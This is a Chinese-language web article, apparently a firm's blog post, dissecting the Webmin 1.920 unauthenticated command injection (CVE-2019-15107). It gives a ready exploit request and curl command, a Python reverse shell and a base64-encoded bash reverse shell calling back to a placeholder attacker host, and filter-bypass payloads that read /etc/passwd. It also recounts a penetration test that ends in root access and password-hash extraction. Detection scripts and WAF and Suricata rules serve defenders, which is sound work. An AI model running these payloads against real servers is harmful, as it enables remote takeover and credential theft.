尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
Webmin 1.920 命令注入漏洞深度剖析:从POC构造到3种防御绕过手法
Webmin 1.920命令注入漏洞深度剖析从POC构造到3种防御绕过手法在当今复杂的网络安全环境中系统管理工具的安全性尤为重要。Webmin作为一款广泛使用的基于Web的Unix系统管理工具其1.920版本及之前存在的命令注入漏洞CVE-2019-15107引起了安全研究人员的广泛关注。本文将深入分析该漏洞的底层原理探讨高级利用技巧并分享三种有效的防御绕过手法。1. 漏洞环境与背景分析Webmin是一款功能强大的系统管理工具允许管理员通过Web界面执行各种系统管理任务。该工具默认监听在10000端口广泛应用于各类Unix-like系统中。根据公开数据互联网上约有13万台设备运行着Webmin服务。该漏洞存在于password_change.cgi脚本中当系统启用密码重置功能时攻击者可以利用old参数中的命令注入漏洞执行任意系统命令。值得注意的是该漏洞无需任何身份验证即可利用大大增加了其危害性。影响版本范围Webmin 1.920及以下所有版本漏洞触发条件目标系统运行Webmin 1.920或更早版本密码重置功能处于启用状态攻击者能够访问Webmin的Web接口2. 漏洞原理深度解析2.1 漏洞触发机制漏洞的核心在于password_change.cgi脚本对用户输入的old参数处理不当。当用户提交密码修改请求时脚本会将old参数的值直接拼接到系统命令中执行而没有进行适当的过滤或转义。关键代码逻辑分析# 伪代码展示漏洞逻辑 my $old param(old); my $user param(user); if ($user ne known_user) { # 直接拼接用户输入到系统命令中 system(passwd $user EOF\n$old\n$new1\nEOF); }特别值得注意的是只有当user参数的值不是系统中已知用户时如使用rootxx而非root才会触发漏洞路径。这是因为对于已知用户Webmin会采用不同的密码修改逻辑而不会进入存在漏洞的代码分支。2.2 漏洞利用时序分析攻击者向/password_change.cgi发送POST请求设置user参数为不存在的用户名如rootxx在old参数中注入恶意命令如test|idWebmin将恶意命令拼接到系统命令中执行命令执行结果返回给攻击者典型请求示例POST /password_change.cgi HTTP/1.1 Host: vulnerable-host:10000 Content-Type: application/x-www-form-urlencoded Referer: https://vulnerable-host:10000/session_login.cgi userrootxxpamexpired2oldtest|idnew1test2new2test23. 高级利用技巧与POC构造3.1 基础POC构造最基本的利用方式是在old参数中注入系统命令使用管道符(|)将原始命令与恶意命令连接oldtest|whoami命令执行结果提取技巧输出通常出现在HTML响应的特定位置可以通过搜索The current password is incorrect和 之间的文本来提取命令输出3.2 复杂命令执行由于命令注入环境存在一定限制执行复杂命令需要特殊处理多命令执行oldtest|id;uname -a;echo $PATH命令链使用使用连接命令前一个成功才执行下一个使用||连接命令前一个失败才执行下一个使用;连接命令顺序执行3.3 交互式Shell获取获取交互式Shell是渗透测试中的关键步骤以下是几种有效方法Python反向Shelloldtest|python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((attacker-ip,attacker-port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);Bash反向Shell编码版oldtest|echo YmFzaCAtaSAJiAvZGV2L3RjcC9hdHRhY2tlci1pcC9hdHRhY2tlci1wb3J0IDAJjE | base64 -d | bash4. 三种防御绕过手法在实际渗透测试中目标系统往往部署了各种防御措施。以下是三种有效的绕过手法4.1 编码混淆技术Base64编码绕过oldtest|echo dW5hbWUgLWE | base64 -d | bashHex编码绕过oldtest|echo 6563686f202248656c6c6f2c20576f726c642122 | xxd -r -p | bash4.2 特殊字符利用空格绕过oldtest|cat/etc/passwd通配符使用oldtest|cat /etc/pas???4.3 上下文欺骗技术环境变量注入oldtest|${PATH:0:1}bin${PATH:0:1}cat /etc${PATH:0:1}passwd参数分割技巧oldtest|/usr/bin/perl -e system(id)5. 漏洞检测与防御建议5.1 漏洞检测方法手动检测步骤访问Webmin登录页面通常为https://target:10000使用Burp Suite拦截任意请求修改请求为POST /password_change.cgi构造恶意参数测试命令执行自动化检测脚本import requests def check_vulnerability(target): url fhttps://{target}:10000/password_change.cgi headers { Content-Type: application/x-www-form-urlencoded, Referer: fhttps://{target}:10000/session_login.cgi } data userrootxxpamexpired2oldtest|idnew1test2new2test2 try: response requests.post(url, headersheaders, datadata, verifyFalse, timeout10) if uid in response.text: return True except: pass return False5.2 防御加固措施临时缓解方案禁用/password_change.cgi接口修改Webmin配置文件限制访问IP在Web服务器层面对特殊字符进行过滤长期解决方案升级到Webmin 1.930或更高版本定期检查并应用安全补丁实施最小权限原则限制Webmin服务账户的权限WAF规则建议# ModSecurity规则示例 SecRule REQUEST_URI contains password_change.cgi \ id:10001,\ phase:2,\ block,\ msg:Potential Webmin Command Injection Attempt,\ chain SecRule ARGS:old rx \||\;|\|\|\$\(|\n|\r \ t:none,t:urlDecode,t:lowercase6. 漏洞利用的实战案例在一次内部渗透测试中我们发现目标网络中存在一台运行Webmin 1.920的服务器。通过以下步骤成功获取了系统权限初始发现使用Nmap扫描发现10000端口开放访问确认是Webmin界面漏洞验证curl -k -X POST https://target:10000/password_change.cgi \ -d userrootxxpamexpired2oldtest|idnew1test2new2test2 \ -H Referer: https://target:10000/session_login.cgi权限提升发现系统存在sudo配置问题利用Webmin服务账户执行sudo su获取root权限后渗透行动收集系统信息提取密码哈希检查其他网络可达系统关键教训系统管理工具往往是攻击者重点关注的入口点默认配置和过时软件构成重大安全风险多层防御措施如网络隔离、权限控制能有效限制漏洞影响范围7. 日志分析与取证了解攻击者在利用该漏洞时留下的痕迹对于防御和取证至关重要。关键日志位置/var/webmin/miniserv.log- Webmin主日志文件/var/log/auth.log- 系统认证日志/var/log/syslog- 系统综合日志典型攻击特征大量访问/password_change.cgi的POST请求请求中包含管道符(|)、分号(;)等特殊字符短时间内来自同一IP的多次密码修改尝试检测规则示例Suricataalert http any any - any 10000 (msg:Possible Webmin CVE-2019-15107 Exploit Attempt; \ flow:to_server,established; \ content:POST; http_method; \ content:/password_change.cgi; http_uri; \ content:userrootxx; http_client_body; \ content:|; http_client_body; \ classtype:web-application-attack; \ sid:1000001; rev:1;)在实际项目中我们发现攻击者往往会先进行简单的命令探测如whoami或id确认漏洞存在后再执行更复杂的攻击载荷。通过监控这些初始探测行为可以在攻击早期阶段发现并阻断攻击。
RELATED

相关推荐

Django 3.2.4 order_by SQL注入漏洞深度剖析:从绕过机制到PoC构造

Django 3.2.4 order_by SQL注入漏洞深度剖析:从绕过机制到PoC构造

Django 3.2.4 order_by SQL注入漏洞深度剖析:从绕过机制到PoC构造1. 漏洞背景与影响范围2021年7月,Django安全团队发布紧急更新,修复了一个存在于QuerySet.order_by()方法中的SQL注入漏洞(CVE-2021-35042)。该漏洞影响…

📅 2026/9/7 23:37:52
STM32与PAM8904实现低功耗音频系统设计

STM32与PAM8904实现低功耗音频系统设计

1. 项目背景与核心组件选型在物联网和嵌入式设备快速发展的今天,声音提示功能已成为各类智能设备的标配需求。无论是家电产品的操作反馈、工业设备的故障报警,还是医疗设备的紧急提醒,都需要一个可靠的声音通知系统。本项目基于STM32L4S5ZI微…

📅 2026/9/12 12:51:22
Windows 11 权限继承与所有权:解决“权限选项为灰色”的 2 个关键步骤

Windows 11 权限继承与所有权:解决“权限选项为灰色”的 2 个关键步骤

Windows 11 权限继承与所有权:解决“权限选项为灰色”的深度指南当你在Windows 11中尝试修改某些系统文件或文件夹的权限时,可能会遇到一个令人沮丧的情况——所有权限选项都显示为灰色不可用状态。这种情况通常发生在处理系统关键目录(如Win…

📅 2026/9/10 0:10:15
MORE NEWS

更多资讯

📰

Python实现替换密码破解:频率分析与优化策略

1. 项目概述:Python实现替换密码破解替换密码是最基础的加密方式之一,早在凯撒时代就被用于军事通信。其核心原理是将明文中的每个字母按照固定规则替换为另一个字母。比如著名的凯撒密码就是将字母表平移3位(A→D,B→E...&#x…

📰

基于S7-1200 PLC的物料分拣控制系统设计与仿真实现

1. 项目概述与总体设计思路 1.1 这个设计到底要解决什么问题 刚拿到“基于西门子S7-1200 PLC的物料分拣控制系统设计”这个题目,很多人的第一反应是找图纸、找模板,但真正动手之后才会发现,这个题目的核心其实不是抄一套程序,而是…

📰

FastAPI构建高并发抽奖服务:从云服务器部署到防刷实战

1. 为什么选FastApi做抽奖服务:从框架选型说起先说结论:抽奖服务这种业务形态,用FastApi来做,是我目前用下来最顺手的选择,没有之一。很多人在选型的时候纠结一件事:我到底是用Spring Boot、Go还是Python系…

📰

破碎机振动超标诊断与治理:从频谱分析到弹簧隔振的完整实践

凌晨1点40分,中控室的电话只有一句话:“2号破碎机振动报警,现场表已经顶到12了。”我赶到现场时,测振仪上的数值停在12.6mm/s下不来,机座附近的地脚螺栓用扳手轻轻敲击,声音明显发闷。那台PCZ1615重型锤式破…

📰

推荐算法实战:行为日志驱动的用户购买预测与XGBoost调优

简介:阿里移动推荐算法竞赛完整工程包,面向备战推荐系统竞赛、毕业设计或课程项目的学习者,尤其适合人工智能、计算机科学与技术等专业的学生动手实践。压缩包包含118个文件,容量约636KB,文件构成兼顾数据、算法与工程…

📰

基于 Python 的宠物食品销售数据分析可视化系统的设计与实现

1. 引言随着宠物经济的快速发展,宠物食品市场规模持续扩大,消费者对宠物食品的品质、营养和品牌关注度不断提升。面对海量的销售数据,如何高效地完成数据采集、清洗、分析与可视化展示,成为企业制定营销策略、优化产品结构的重要基…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬